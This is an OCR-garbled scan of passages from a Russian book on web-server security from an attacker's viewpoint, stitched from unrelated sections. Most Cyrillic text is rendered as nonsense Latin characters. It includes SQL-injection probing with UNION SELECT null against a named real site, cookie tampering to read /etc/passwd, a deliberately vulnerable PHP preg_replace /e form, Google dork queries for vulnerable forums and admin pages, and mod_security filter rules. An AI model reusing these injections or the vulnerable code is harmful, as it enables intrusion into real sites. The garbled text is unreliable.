yposeHb GesonacHocTH. JlocTyn K CHCTEMHOMY Katanory aGComMiOTHO He HYXeH
GoNbWAHCTBY NPOTPaMM UAK, NO KkpaiiieH Mepe, 0MiKeH BbiTb He HYXKEH, HO Npo-
FPaMMHCTBI NPOIONKAKT HCMONL3OBATH ero.

Ecn BBl nporpaMmucT i paspabaThiBaeTe CBOW CepBEPHBIE NPOAYKTHI, TO He TPo-
raiite cucTeMHble obnacTi Ges ocobol HanoGHocTH. PaGoTaiiTe TONLKO B OAHOM
KaTanore, KyAa NoNb30BaTeNb YCTAHOBHT nporpammy. Ecnn n3berats obpawmenns
K ONaCHbIM Pecypcan, TO MOKHO MMHMMM3HPOBATb BOSMOXKHOCTb BNIOMA CHCTE-
MBI Yepe3 Balll CepBep. A 3TO yiKe O3Ha4aeT, 4TO Bailta nporpamma Gyaer pexe
NOABAATLCH B CNUCKAX CYB, COAEPIKAIIMX YA3BUMOCTH, HTO YAYHUIMT Ballle Ho-
NOXKEHHE Ha pbIHKE.

KoHeuko e, A3 NporpaMMHUCTOB MOXKHO AaTb OYeHb MHOTC peKOMeHaaumit, Ho
Mbl PACCMaTPHBACM KOMIBIOTEP € TOHKH 3PEHHA NOb30BATENA, 103TOMY He Gyiem
YXOZHTb B CTOPOHY.

1.10. MepbI1 6e3onacHocTn

HpoGneMa 3AUIMTHI He OrpaHHYMBACTCA TOJNLKO 3aUINTOR onpeie/ieHHbIX NpPo-
rpamM. MoXHO HanucaTh camyto 6€30nacHyio NporpaMMy, HO NpH 3TOM YCTaHO~
BUTs Ha cepep OC ¢ HacTpoiikaMu Mo yMoNyaHMo. BCEM W3BECTHO, YTO Ha-
CTPOHKW N0 YMOMMAHWHIO AaNexd OT Wieana W Gnaronaps stomy Web-cepsep
MoXeT BbITb B3OMaH Aaske fipu OTCYTCTBHH YASBUMBIX CLIEH2pHEB.

Be3onacHhiM A0/KEH GbITh HE TOMbKO KMNABIH Y4aCTOK MPOTPaMMBbl, HO M Kaxk-
Al NPOrpaMMHLIIL NAKET, YCTAHOBEHHDIH Ha cepeepe, cama OC 1 Bce Hcnonk-
3yeMoe 06opyaoBakKe (B OCHOBHOM 3TO KAcacTCs CETEBbIX YCTPOHCTB).

[porpamMmucT JoMmKeH Beeraa paboTaTh B COTPY/IHHUECTBE C aAMMHUCTPATOPAMH
H cneunanicTaMu no GesonacHocTd. Hanpumep, nporpaMMHCT MOXET peuIdTb,
YTO 1A €ro yAo6eTBa HeOGX0AMMO CAENaTh ONPEAENEHHYIO NANKy OTKPLITCH IR
YTEHHS U 3aNMcH BCeM nonk3oearelsm. B sToil nanke cuenapuu GyAyT COXpaHATE
kakHe-To AanHbie. Ho ecnn 3T2 nanka MononbiyeTes aMMHACTPATOPOM nd Xpa-
HEHWA BRXHBIX JAHHBIX WM KOH(HUIypauvoHHbIX (aiNos, TO 3altuT2 cepBepa
OKaKeTCA NOA Yrpo3oH.

Jamniath Halo U ceteBoe 0GopyaoBaHue. Ecniu Bbl ciesuTe 3a GloneTeHAMH o
6¢30NaCHOCTH, TO ACMKHBI GBUTH BCTPEUAThCA C OTIHCAHMAMM BINOMOB, KOTIA Xa-
Kep CMOr NORYYHTB AOCTYN K MApUIPYTH3aTOPY H CMOF MPOCMOTPETS BCE [1AKETEE
nonblosareniedi. JlaA KOHQUACHUMANBHBIX AZHHBIX Mbl MOKEM HCMIOJIbIOPAThH
nupposanue U nepeaaBaTh ZaHHble 110 SSL, HO €ro HHKTO M HAKON/AA NIe KO-
IyeT 6pH co3ziaHuK POPYMOB UAM 4aTOB. EEC/TM XaKep CMOT NEPEXBATHTH MAKET,
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HHTCPHCT 3aXBaTLIBAET BCE HOBBIE M HOBbIE oﬁnao‘ru, H € €0 NOMOLILBLIO Mbl YXKE
MOXeM ynpapiaTb gaxe GbiToBoM Texuukoi. Hanpumep, moctyn k Hurephery
BCTPaHBAIOT B XONOAHIBHHK, 4TOGBI OH CaM Mor 3aKa3blBaTh 3aKaH4YHBAIOUIHECH
npoAykTel. Ho BCe 3T0 noka ToNbko Ha CioBax ¥ Ha BbicTaBkax. Ecan nocMoTpers
Ha Hawly peanbHOCTh, TO B ObiTy MuTepHeT noka He npwxuncs, Bosmoxno, uro
3TO ¥3-32 BbICOKOH LIeHbI YCTPOHCTB, 2 MOXKET U3-3a GOA3HH XaKepoB.

JluuHo 5 Ha aHHBIR MOMEHT HE FOTOB NPEACCTABHTD YnpaBieHHe Yepes Hutepuer
nake cambiMK Ge3oGuanbimu GhirossMu nipuGopamu. Tpocrelumii npumep: ecim
XaKep NONYYMT ynpasieHHe XONOAWNLHUKOM, TO OH CMOXET OTIJIIOMMTD ero,
W BCE NPOAYKTHI nponajyT. ECK noA ero ynpasieHHe NonaieT MHKPOBOTHOBAA
neyb, TO OH CMOKET ee Cxkeub. JIeNno B TOM, 4TO neub Henb3s BISIOMaTh MYCTOH, Aa
1 paboTa ¢ APOAYKTaMM NpH [Eperpese MOXKET NPHBECTH K BO3ropanHio. M rocne
3TOro Mbl Gy/ieM paiki, €CIIA CrOPUT HE BCS KBAPTHPA.

Ho nefCTBHTENBHO K XaKepb! Tak CTpauHb? Mosket GbITs CTpax HasesH Gnaromaps
JKYPHaJIUCTaM, KOTOPBIE NWUIYT Ha TEMy MHTEPHET-BATOMOB M OBAT npHykpacuTs?
[, RefCTBHS XaKepoB cofEPKaT yrposy, HO Gonlee ONacHbl NPOFPaMMNCTB! K aZiMH-
HUCTPRTOPbI, He yZenaiolde npoGiemam Ge3onacHOCTH AOCTATOYHO BHUMAHHA.
OumnbatoTcs Bee, A U cam He Ges rpexa. Ho uworna Berpeuaercs oTKpOBeHHbIH
HenpothecCHOHANNIM, KOrAa HeT Jiaxe npocTeiitiuX nonsitok obecneuuts Web-
cepaepy JOCTOHHYIO 3alumTy. Yallte BCEro 3THM rpelllaT RIOAH, He MMEIOLHe 20C-
TaTO4YHO HaBhIKOB PabOThl C KOMABIOTEPOM, KOTOpbie TOILKO HEAABHO MOAKTIOYH-
nnch k MuTeprety 1 pewnnu cozpath ceoi Web-caiit.

M3 9100 KHHrM BbI y3HaeTe, kKaknUM 06pa30oM NeHCTBYIOT XAKEPBI: Kak HAXOAAT yd3-
BUMOCTH ¥ HCHOMB3YIOT MX AUTA NOMAYHEHHS KOHOUACHLHANBHON HHbOPMALMK HITH
JINA MONYYEHHs ZMMHUCTPATMBHBIX npaB AocTyna. Mt Gygem paccMaTpuBarh
MCTOfb BIIOMOB Ha NpakTHKE Ha npumepax peanbhbix Web-calitos. Ja, umenHo
peajibHbIX, 4TOBbI BbI MOIIM YBHAETL BCKO ONACHOCTb HEBHUMATCIBHOCTH TPO-
FPaMMHCTOB H RJIMMHKCTpaTOpoB. Bee npuMeps! Ml Gy/ieM nopoGHo paaGHpaTS,
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Takum o6pazom, BIOKeHHe He GyneT BEINOAHATLCH AUTA K2KNOH CTPOKH M, COOT-
BETCTBEHHO, He Symet unkna,

JlaHuble TPUMEpPDI CTHIIKOM TIPOCTBI M MOTYT BBITIONHATECA 32 OJHO W TO XK€ Bpe-
M C TONHOCTBIO JIO ceKyufbs Gnaroftaps onTumuzatopy. Ho mpi ucmions3oanuu
6onee passeTBIEHHON CTPYKTYPH WIH Cioksoro SQL-3anpoca MOXKHO CPAaBHHTb
BpeMa BLITIONHEHUA W BbIGpaTh nanbonee npeanouTHTELHEIH BAPUANT A4 Onpe-
aenenroit CYB]l (nanomuualo, uto pasasie CYBJ] Moryt obpabarbieate SQL-
3a0poChl fI0-PasHOMY).

B GonblunscTRe sie cayyaeR Kaxaei SELECT OTPULATEbHO BIIMACT HA CKOPOCTh
paboThi, MOSTOMY B NIPEABIAYIUEM IPUMEPE HYHHO WIGABHTLCA OT Hero:
SELECT *
FROM tbPerson p, tbStatus s
WHERE p.idStatus=s.Keyl
AND s.sName='Patoraer’

B pansoM Cayuae Takoe DG’I:CJJIHHGHHS ABMAETCA CaMbiM POCTBIM W HANpalinBa-
erca camo coboit. B Gomee cnoxHbLIX NpUMEpax NporpaMMUCThl O4EHEB YacTO He
BMAAT BO3MOXKHOCTH PELUCHHA 338a4K OAHMM SQL-3ampocoM, XOTA Takoe peiue-
HHe 0GBIMHO CYIECTBYET.

Obpeauuenya sphexTussb, Ho Taneko He B Kaxnoi CYB (em. paso. 8.1). TIpo-
GyifTe, TeCTUpYHTE U H3yvaliTe CHCTEMY, B KOTOPOI# BbI paGoTaeTe.

8.2.2. OnTuMusaums 6asbl 4aHHbIX

OnTuMu3alLys JOMKHA HAYMHATECA €11 HA Tane NPOEKTHPOBaHHA §a3bi AAHHBIX,
Quenn ¥aCTO NPOTPAMMUCTLI 3a/1A10T MOJSM PaMep C NOCTATOMHO GOmbiMM 3a-
nacom. Monadany s u cam Tak nocryman. TpyaHo npeackasaTh, KaKOro pasmepa
6yAyT XpaHWTBCA HaHHLIE, a €C/iH BbIPAHHOTO pasMepa NOAA He XBATHT, TO MpPo-
TPaMMa HE CMOKET COXPAHHTL HeOGXOMUMYIO CTPOKY.

B sexoTopeix CVB]I, eciu He ykasaTh pasMep Mofid ANS XPaHeHWS CTPOKH, OH
TIPMHKMAET MaKCHMANBHO BO3MOXHOE 3HaueHHe win 255, DTo HenpocTUTE bHOE
PaCTOHHTENLCTBO IMCKOBOTO MPOCTPAHCTEA W Co3uaBaeMas Gaza naHHBIX CTaHo-
BUTCA HEONpaBAaHHO Gonwwoii. A ueM oHa Gonslle, TeM croxHee ee oGpabo-
TaTh. Ecnu ke yMeHbwnTh ee pasmep, 1o CYB]I cMoXkeT MaKCHMATbHO GbicTpo
3arpyIMTh JaHHbIC B NaMATh K NPOM3BECTH Nouck Ge3 obpaieHus K XKECTKOMY
avicky. Ecny 6a3a AaHHBIX HE IIOMELIAETCS B NAMATH, TO NPUXOIUTCA 3arpyKaTh
ee 10 HACTAM, & B XyAlWeM Clyuae — HCMONB3OBATh haiin momxauku, KoTopsIk
HaXOAMTCH Ha AWCKe W paBoTaeT B HECKOABKO Pa3 MEANeHHee OnepaTHBHOM
namaTd.
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IMepestii SQL-3anpoc He BLIMONHWICA, @ BTOpOli oTpaGoTan xoppekTHO. 3HauuT,
napaMeTp id NPH NOACTAHOBKE B 3aNPOC HE 3AKMIOHACTCA B OJMHAPHBIC KABBIMKH.
YyTb MomKe A y3HAN, YTO BK/HOYEHA MATHYECKad KaBblMKa H TO, 4TO flapamMeTp id
He 3aKMIOYaeTCS B OXMHAPHBIE KaBbIYKH — Camad Go/bilan ourMbKa agMHHHCTPA-
Topa. Eciin 66l OH BEINONHAI 3TO NPOCTOE AeHCTBHE, TO A HE CMOr Obl BCTPOMTH
KOJI, TIOTOMY 4TO MHE HYXHO Gbio Gbl 3aKPHITE KaBBIYKY (BBNIONHHTL 3anpoc
' and 1=1), a TAK Kak OfHHApHas KaBbluka 3anpeweHa, T SQL-urbeKums He
npouina Gbl.

“TaK, HayHHaK nepeGupaTb KOJTHYECTBO noneﬁ, BCTpauBas D6‘bCﬂHHeHHE
3a1POCOM SELECT, M NOCHEAOBATENbHO YBE/IMYHBAIO KONHuecTBO NULL-noneft:
www.usacycling.org/mews/user/story.php?id=1053% 20union % 20select % 20null,
www.usacycling.org/news/user/story.php?id=1053 %20union % 20select %20null,null
v T. A. Ecan konnuecTso nojteit He cosmafier ¢ mueomuMea 8 Tabauue, To Web-
cepBep A0MKeH BepHYTh OIMBKY, Kak N0Ka3aHo Ha pHC. 5.5.

Pnc. 5.5. Mpu HeBepHOM KONKYECTBE NoNei Mbl BUAWM oGy MySQL

TepeGop monro He npogomkancs, NoToMy uto SQL-3ampoc B cLeHapHk noydan
#3 Gaskl JaHHBIX 4 MOMA, @ 3HAUMT, MHE HYKHO OBUIO BCTPOHTH OGbenHHEeHue
€ YETLIPLMA HYNEBLIMH MONAME:

UNION SELECT null,null,null,null

Teneps paccMoTpum Web-crpannity, kotopas otoBpasinacs nocie SQL-unbexusn.
Huvero ocofertoro s Hell HeT. BUaumo, cueHapui 4nuTaeT TONBKO O/IHY 3aMHCh





index-11_1.png
6 rnaga 1

Jla, B nocneaHee Bpema A0BEPYNBOCTS y nons3oparenei HHTepHeTa yMeHbwaeTCA
6narozapa CMH. Tenepe ywe Bce COXHee HaiiTH 4enoBeka, KOTOPbIH OTKPOST
cBOH naponb B OTBET HA NOAAEILHOE MUCHMO OT CayX6bl noanepkkd. Ho 1 xake-
PBI HE IPEMAIOT W HLIYT BCe HOBbIE M HOBbIE METOBI BO3ALHCTBIA.

Ectb # Takue Xakepel, KOTOpLIE peaKko NPpHIYMBIBAIOT yro-nu6o HOBOE, 2 HCNOJb-
3YIOT CTapble W NpoBepeHHbIe cnocobbl. H, HECMOTpA Ha 3TO, BCETAa HaxXOaATCs
JKEpTBDI, KOTOpblE NONANAKTCA Ha YAOUKY. 51 nonb3yrock UiTepHetom yike oueHb
onroe BpeMA, W €XKEAHEBHO NOMYMAl0 NECATKH NHCEM C npocb6oi1 3alyCTHUTh
haltn Ang OGHOBICHMS 3AIUKTLI MITH JUTS TOTO, YTOGL! YBHIETh YTO-TO KHTEPECHOE.
A Beab GOMBIIHHCTEO OTNpaBUTeNleld — NONLIOBATENH 3APWKEHHBIX KOMIbIOTE-
poB. 3Ha‘lPlT, KTO-TO OTKPbIBAET TaKUE BIIOKEHHA.

HecMoTps Ha WHMPOKOE MCMONB3OBAHWE 3ALWMTHBIX (POrPaMMHBIX KOMIMIEKCOB
W aHTMBMPYCHBIX TPOrPaMM, KOTHUECTBO BHMPYCOB He yMeHbinaercs. Kabiii
Aerb B MIHTEPHETE NOARMAIOTCA HOBBIC MONL3OBATENM, KOTOPHIE CUIE HUYErO HE
3HAIOT O Mepax TMPeJOCTOPOKHOCTH. MIMEHHO OHM 4allle BCEro MonajaloTes Ha
pazHuHble YIOBKH.

Wra, AaBaiiTe pacCCMOTPUM HEKOTOpbIE CIOCOGHI, KOTOPBIMU NOMB3YIOTCA XaKepbl.
OTO NOMOKET BaM Pacfio3HaBaTh WX ¥ BLIAENATL NOMLITKH MCHUXONOrHYECKOTO
BO3ACHCTBHA OT NpocToro ofienns ¢ MmoxbMu. [ToMkuTe, 4TO CouManbras Kidke-
HEpHA MaKCHMaNbHO CHbHA B MIKTepHETe, KOr/@ BBl HE MOKETE BOOHMIO OLIEHHTS
HaMepeHHs cBoero cobeceiHUKa.

B riocnenHee BpeMs CHOB2 HauMHaeT HAGHPaTh XO4 METOX BIIOMZ “epe3 CMEHY
napons. 5 cran Gonbuie nomyyats nuceM ¢ npockBoli OGHOBUTS CBOM PERBUIUTHI
Ha Web-cTpannie GaHKa, ¥ ApH 3TOM CCbUIKA M3 MMCbMa YKashiBaeT COBEPLUEHHO
Ha Apyroii Web-caifr, rie BBeCHHbIE NOTb30BATENEM JAHHbIC NIONAZAKT B PYKH
XaKepy.

HenagHo MHe NpHWG NHCHMO, B KOTOPOM HCHONTB30BANCA OYEHb CTapblil X A2BHO
3aBbIThIi CIOCOD cOUHANBHON WHXeHEpHH. [THCEMO HMENO NPUMEpHO Clielyoliiee
coaepanne: "3apascTyiiTe. A aMUHUCTPATOP XOCTHHIOBOIH KommaHun XX XXX,
Hauwa Gasa Gbia nojsepkena atake CO CTOPOHLI Xakepa, M Mbl GOMMCA, YTC HEKO-
Topble AaHHble Gbinn H3Mererbl. Tlpocs6a NpocMOTPETs CIEAYIOIYIO UH(OpMa-
LHIO, U €CIH YTO-TO HEBEPHO, TO COOGIUTE MHE, A BOCCTAHOBJIO AaHHbie B Gaze”.

Tocne 3TOrO ClefOBAN0 NepeyHcNieHre JaHKbIX 060 MHE, KOTOPbIE NETKO Momy-
4uTh ¢ nOMOIbIO cayxGbl Whois. Ha noGom Web-caiite peructpaunm someros
eCTb Takas CiyxGa, NO3BONAIONIAR ORpENENATs UMA Biazenbua noMena. Xaxep
BOCMO/b3OBANICA 3THM W YKa3an B nMChME BCIO HabiieHHyto HHGopMaumio. Momu-
MO 3TOrO OH yKasajl €Ike JIBA NapaMeTpa: MMA nofkiosatens W naponbs. Konewno
KE, ITH JJaHHbIE XaKep He MOT 3HaTh, TIO3TOMY 3/ieCh GBETH HEBEPHbIE 3HAYEHHS.
Kakas-TO 4acTb NO/Mb30BATESeH NPH NOMYYEHHH TAKUX NHCEM TEPAIOTCS, U, BOTHYACH
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Hrak, Ballla MepBOCTENeHHas 3alaya —— 3anMAacTHCh (APOUKOH XOPOLIMX éar-
ckanepon, Kaxo# mywwe? Ortser oanosHaydbiit — BCE. Jaxe cambiit mnoxofi
CKaHep ¢ MHHMMANbHBIMH BOIMOXHOCTAMK MOXKET HaifTh Gpelllb, 0 KOTOPOH Hems-
BECTHO 1WKe CaMOMY Jiy4UIeMy. A I2BHOE, YTO N0 3aKOHY TIOANOCTH HMEHHO OHa
OKakeTCs XOCTYnHOK Ha cepsepe. [IOMHMO 3TOrO, HyXKHO NOCEIaTh BCe TOT e
Web-calit www.securityfocus.com, rze peryRapHO BBIKIANBIBRIOTCA ONMCAHHR
YAZBMMOCTE(! pasTH4HbIX nakeTob nporpaMM ana Web-caiitos,

1.4.1. B3anoMm ¢ nomMoLbI0 NONCKOBOWU CUCTEMbBI

OzHoit H3 cambIX MOLIHBIX MOKCKOBBIX CUCTEM sasercs Google (www.google.com).
B ueii PEANH3IOBAHO MHOIO BOGMO)KHOCTeﬁ, NO3BOMAIIMUX CAeNaTbh NOWCK Gonee
TOYHBIM. )Kaﬂb, yTo GONBLIKHCTBO NONb3OBaTENel HE DCBOWIN UX, a BOT B3/10M-
WIMKH U3yuHTH Bee BYHKIMH, M UCTIONbIYIOT MX B CBOKX uensx. Ja, Takyio moums
IIOYMBILIEHHHKH TIPOCTO HE MOrJIH OGOHTH CTOPOHOH.

OnnH M3 caMbiX NPOCTBIX CHOCOGOB BIOMA — HaiiTH C MOMOMIBIO MOHCKOBOM
cucTembl 3akphiTyio Web-cTpanuity. Hekoropble Web-caiiTbl HMeloT 3acexpeyeH-
Hble O0NacTH, K KOTOPBIM AOCTYR OCywecTBAReTCs no napomo. Cioaa xe OTHO-
CATCH NAaTHBIE PECYPChI, e 3alUUTa OCHOBAHA H2 MPOBEpKE MaponA npy Bxoge,
2 He Ha 3aluTe KaxaoH Web-cTpanuLbl  HecnoabiosaHuu SSL. B Takux cnyuadx
Google npouHaexcupyer 3anpeileHHble Web-cTpanuiibl, # uX MoxHo Gyxer npo-
CMOTpeTh, APaBHILHO COCTABUB NOMCKOBBI 2anpoc. Jlia 9TOro BCEro JHIllL HAAO
4ETKO 3HaTh, Kakad WHPOPMaLMs XpaHUTCA B (atinie, M Kak MOXHO TOUHEe COCTa-
BHTb CTPOKY 3anpoca.

Nonck HHASKCUPOBaHHBLIX CEeKpeToB

C nomotubio Google MOXKHO HAITH ZOCTATOYHO B&XKHbIE AaHHblE, KOTOPble CKPbi~
Thl OT NOML3OBATENS, HO NO OLIUGKE AAMUHUCTPATOPA CTANW AOCTYNHBIMA JNA HH-
Aekcupytoluedt maiuibl. ECu BBI He nepebili aeHs B Mupe MHGOPMaUHOHHBIX
TEXHONOTHi, TO Y)ke HABEPHO CNLIMANH O nOAOGHLIX cyyasx. OHu ¢ GonbuiHM
YAOBOMBCTBHEM OMHCHIBANKHCH B Npecce, & komnanun Google, s Kymaro, 3T0 ToNb-
KO Ha pyKy. Beab 310 noka3sbiBaeT, kakas XOpollas Y HHX NOMCKOBaA CHCTEMa,

Bo BpeMA noMcka Hy)KHO MPaBUTLHO 3aiaBath napameTphl. Hanpumep, MoxHO
BBECTH B CTPOKY NOKCKa CTEAYIOLLYIO KOMaHY:

Tomomoit oruer filatypa:doc

o)

Tomonoit orver filetype:xls

W eni Halinete sce nokyMenthl B gopmate Word wam Excel, conepxauue cnoss

"Fouosoli oTuer”. Bo3aMOXKHO, ZOKyM@HTOB GyAeT CTHIIKOM MHOrO, MOITOMY 38-
LPOC IPUAETCA OrPAHHHHTB CHITbHCE, HO KTO HIIET, TOT Beeria Uakizer.
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Nouck yassumbix Web-caiitor

JlonycTHm, BB y3HaNH, 4TO B KaKOH-mTHGO cHcTeMe ynpasienis Web-caiitom nos-
BHMaCh YA3BMMOCTb, UTO 3T0 3a cucTema? CylIecTByeT MHOXECTBO MaTHbIX
# GecnnaTHbIX roTOBBIX NporpamMM, HanHCarHbiX Ha PHP, Perl u apyriux asbikax,
W nossonsomUX co3aate Web-caiiT 6e3 ocobbix ycunuii. Takue CHCTEMBI MOTYT
BKJTIOWATh B CeGAl rOTOBbIE peanu3alli (GOpyMOB, FOCTEBbIX KHH, REHT HOBOCTeH
u T. & Hanpumep, phpBB nnn ikonboard, koTopbie 0ueHb CHITBHO pacnpocTpaHe-
Hbl B MHTepHeTe, — HauGonee NOMyNApHbIE HCHOTHEHNA GOPYMOB.

Ecnu B kakoi-HuGyab M3 TaKHX CELWATLHBIX NPOrpaMM HafileHa KpHTHuYeCKaa
YA3BUMOCTb, TO Bee Web-caliThl B HHTEpHETE, HCMONBL3YIOWME ee, NOXBEPraloTes
©ONacHOCTH. BOMBIIMHCTBO aAMUHUCTPATOPOB HE NOANMCaHbl HA HOBOCTH M He 06-
HOBMIAKOT CLUEHAPHH, NO3TOMY OCTRETCA TONbKC HalTH HYXHbIH Web-cafiT u Boc-
NONB30BATHCA FOTOBBIM PELICHAEM A8 OCYIUECTBAEHAR B3TOMA.

Kak watitn Web-caitTel mni hopyMbt, koTopele coflepxar yasBumMocTb? Ouexb npo-
cTo. Yallle BCero cleHapuii xepTebl MOXHO onpenenuts no URL. Hanpumep, koria
BbI npocMatpuBacte Ha Web-caiite www.sitename.ru pasgen (opyma, ucronb-
3YIOLLETO B kauecTse ABWxKa Invision Power Board, To cTpoka anpeca cosepyuT
http://www.sitename.ru/index.php?showforum=4. Texct "index.php?showforum="
Gyaer pcTpevaTbea Ha nobom Web-caiite, ucnonb3syiomem mis gopyma Invision
Power Board. YtoGbl wabitn Web-calitsl, coaepxawupne 8 URL ganHbiii Texcr,
HYXHO BBINOHUTL B NOMCKOBOH cucTeMe Google crieayromuii 3anpoc:
inurl;:index,php?showforum

MoryT 6bITe K Apyrue NporpaMMbl, KOTOpbIE HCMONb3YIOT ITOT TekCT. YTobhl oT-
6pocHTL KX, HYXHO ellle N0GaBHTH NOHCK Kakoro-HMGyab dparmeHta M3 Web-
ctparnu. Hanpumep, no ymonsannio sunsy xaxaoh Web-ctpanmubl dopyma cctb
nognucs: "Powered by Invision Power Board(U)". Koneuno xe, aaMHRUCTpaTOp
BOMeH M3MEHMTb H2AMHCh, HO B GOMbLIMHCTBE CTy4aes ee He TPOrawT. Mmenrno
TaKkOH TEKCT MOXKHO OGRBMTb B CTPOKY MOMCKA, W TOTAA pe3yibTatoM Oymyt
Tonbko Web-cTpaHuubl HykHoro Ham dopyma. [TonpoGyiite BbINOAHHTL Cheayio-
uIHi 3anpoc:

Powered by Invision Power Board(U)

inurl:index.php?showforum

Bt yBuanre Gonee 150 Teicau Web-caliToB, peanM3oBaHHBIX Ha 3TOM JBHMKKE.
Teneps, €C/IH NOABHTCA ya3BuMOCTk B Invision Power Board, 7o Bl nerko Haiizere
KepTBy. JlaNieKo He BCe aAMMHHCTPATOPbE YCNCIOT AMKBHAHPOBATS OtMbKH, a He-
KoTOpbie BOOGIIE He GyayT MX HCNpaBnaTs, noToMy uTo Web-calitbi MoryT Gbith
yiKe QaBHO M03abeiTe: M N03aBpoLIeHb!.

TonpoGy#ite 3anaTh B MOHCke inurl:admin/index.php, W BH HalAETEe CTONBKO
WHTEPECHOTO, YTO &K AyX 3aXBATHBACT. TaKHE CChUTKH OYEHb 4aCTO HCMOAL3YIOTCH
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Pue. 3.10. Coaepxumoe chatina Cookies ans Internet Explorer

Cyusecreyer MHOXecTBO yruauT ud Internet Explorer, ynpomatomux peaaktupo-
sanue Cookies.

A B nocaeaHee Bpema Gonbiue npeanotnTalo paGortate 8 OC Linux u Gpaysepe
Mozilla. Ero Cookies xpauarcs B daiine ~/.mozilla/default/129byy2g.slt/
cookies.txt. [Tpumep Takoro daiina MoxkHo yeuaers na puc. 3.11.

Ortkpeipaem daiit U BHANM, HTO KAKAbIE NapaMeTp 3aNHCLIBACTCA B OHY CTPOKY.
B camoii nocnenHedt KofoHKe 3TOH CTPOKH HAXOAWTCR KAK pa3 3HAUEHHE, 2 B Npel-
nocneaucH kosonke HMA. TIPOCTO KOPPEKTHPYEM 3HAUEHNHA, KaK NMOKa3aHO B Crie-
AYIOLUEM NpHUMEpE:

HITP Cookie File

http://www.netscape . com/newsref/std/cookie_spec. html

This is a generated file! Do not edit.

To delete cookies, use the Cookie Manager.

SroT gadin crexepupopa. He pemaxTMpy#iTe ero

e o ow o ow

Ina ynanewns Cookies MCMOMb3y#iTe MeHemrep

localhost FALSE / FALSE 1155826347 file netutils.html
localhost ~FALSE / FALSE 1155826347 dir  /etc/passwd300
Teneps nepesanyckaeM Gpay3ep (MHaUe BCE 3HauCHUs ByAyT BIATH M3 K31UA, 2 HO

w3 (aiina cookie.txt), sarpyxaen Web-ctpanuuy v HaciaxgaeMcs MosyueHHbIM
pesynnTaToM. Web-cTpaHuLa cHOBa 0TOOpaxaeT (aiin naponei.
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BmecTo cHMBOJTa CIIDIA MOXKHO WCTIONLI0BaTH MobLie Apyrie CHMBONLI, KPOME
GyKs, HANPUMEP:

#cTpoka#

?cTpoxa?

Ho vaiue Bcero UCmonk3yloTca BCe XKe CIIK, B koHUe PeryiapHOTo BLpakeHUA
MOXHO ykasaTh Mofuurarop. HauGonee pacnpocTpaHEHHEIMA SEASIOTCA i U o.
Tlepsbifi rOBOPHT © TOM, MTO MPU MOMCKE HEOGXONHMO MrHOPUPOBATL PEerucTp
6yks. TyT HUYEro OMGCHOTO HET, a8 BOT BTOPOH HOCTATONHO OIACEH, NMOTOMY HTO
no3BosAeT BuIoaHATs PHP-koA, EC/K B BBIDAXEHUM HCTIONL3YIOTCA NEPEMCHHEIE
M XaKep CMOXKET BHEAPUTS B HHX CBOH KOJI, TO 3TO Cepbe3Han ya3BMMOCTb.

Jlasalite paccMOTPUM KOX, TPUBENCHHBbIA B jHcTHHre 3.14, M MO3HAKOMUMCH
€ 3TOH YA3BMMOCTBIO Ha POCTOM TIPUMEPE.

<HTVL>

<HEAD>

<TITLE>Preg test</TITLE>

</HEAD>

<BODY>

<center><h3>Preg test</h3></center>
<hr>

<form name="syst" action="preg.php" method="get">
Komatna: <input name='command" gize=50>
MapaMerp: <input name="var” size=50>
<input type="submit® value="Find">

</ form>

<hr>

<?

if (igset ($_GET['command'])}

{
$cammand = $_GET['command’];
$var = $_GET['var']);
print {“Executed command: <b>$command</b><P>");
preg_replace ("/(".$command.")/e", "\\1", $var);
print{$var);

}

7>

« /BODY>
< /HTML>
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MOXHOCTS [OCTPOUTE 3AMIMTY, KOTOPAA HE 3BHCHT OT 3THX axTopos. OTiuyHoe
peleHHe AaHuOi mpobnembl — GecrmaTubiii Moaysib Ana Apache noa Hazpanuem
mod_security.

Ipusuun nefcTeua MOAyNs CXOXK ¢ AEHCTBHAMH CETEBOTO 3KpaHa, KOTOpbiH
scTpoeH B OC, TONBKO B AAHHOM CITyHae OH crieuMansHo paspaGoran ans ofecme-
yeHua p3aumonelicrena mo mpotokonsy HTTP. Moayns, Ha ocHOBe mpasus, koTo-
phi¢ 3aJaeT AAMUHUCTPATOP, aHAaNM3UPYeT 3anpochl monb3osarenel k Web-
CepBepY M BBIHOCHT CBOE PeilCHUE O BOIMOKHOCTH TIPOMYCTHTE MAKeT.

TlpaBusia ONPENEAAIOT, YTO MOXET OBITH B 321Ipoce, a YTo Het. Tam 0BbYHO cO-
nepxutcs URL, oTkyna HeoGXomumo B3aTh JokymentT mnn daiin. Kak moxno
chOpMyTMpOBaTE NPABMAOC N8 MOAYNA C TOUKM 3DEHHS GE30NacHOCTH CHCTeMbI?
PaccMoTpuM mpocTefiiunii npumep: Ans Web-cepsepa npeacTasnseT OmacHoCTh
HecaHKLMOHHpoBaHHOe obpamenne K dafiny /etc/passwd, a 3HaYUT, €r0 He NOK-
Ho 6biTh B crpoke URL. Takum o6pa3om, cosgaem npaBuio, W MORySb POBepseT
Ha OCHOBE 3ajanHbIX PiuTeTpos anpec URL, u eciu OH HapyluaeT pasmna, 10 3a-
nPOC OTKIOHAETCA.

Wrak, mopynb mod_security MoxHO Haifri Ha Web-caitre http://www.modsecurity.org.
Tlocne ero yctanorkd 8 daiine htipd.conf MoxHo GyaeT HCROAB3OBATL NOTIOAHH-
TefbHbIe MPEKTHRL (QHIBTPALMM 3aTIPOCOB. PAcCMOTPHM Haubonee WHTEpECHbIE
"3 HUX:

00 SecFilterEngine On — BKAKYHTE PeXAM QUILTPALMH 3AIPOCOB;

O secFilterCheckURLEncoding On — MpoBepaTs komuposky URL (URL encoding
is valid);

a SecFilterForceByteRange 32 126 — MCMOAb30BATE CHMBOJIbI TONBKO H3
yKa3aunoro auanasosa. CyWeCTBYST AOCTATOMHOE KOMMUECTBO CAYMEGHBIX
CHUMBOJIOB (HanpuMep, TIEpEBOA KApETKH, KOHeL CTPOKH), KOAbI KOTOPLIX MeHee
32. BOABLMHCTBEO M3 HHX HEBHAWMBI, HO TPeByloT 06paboTKi HaXaTHs CooT-
BETCTBYIOWHUX KIaBHIL. Ho xak e Torna Xa8Kep MOXET BBECTH Tako# cumBOn
8 URL? Tosbko yepes ux koa. Hanpumep, uto6sl npumeHuTs CHMBON "KOHELl
crpoku", Heobxonumo yxasath 8 URL "%13". B maxHoM ciyuae koAbl CHMBO-
nos mexee 32 M Gonee 126 ABAAIOTCA HELOMYCTHMbIMH UIA ajpeca, MOSTOMY
BFIC/IHE NNOTHYHO TaKue NaKeThl He Ponyckarh k Web-cepsepy;

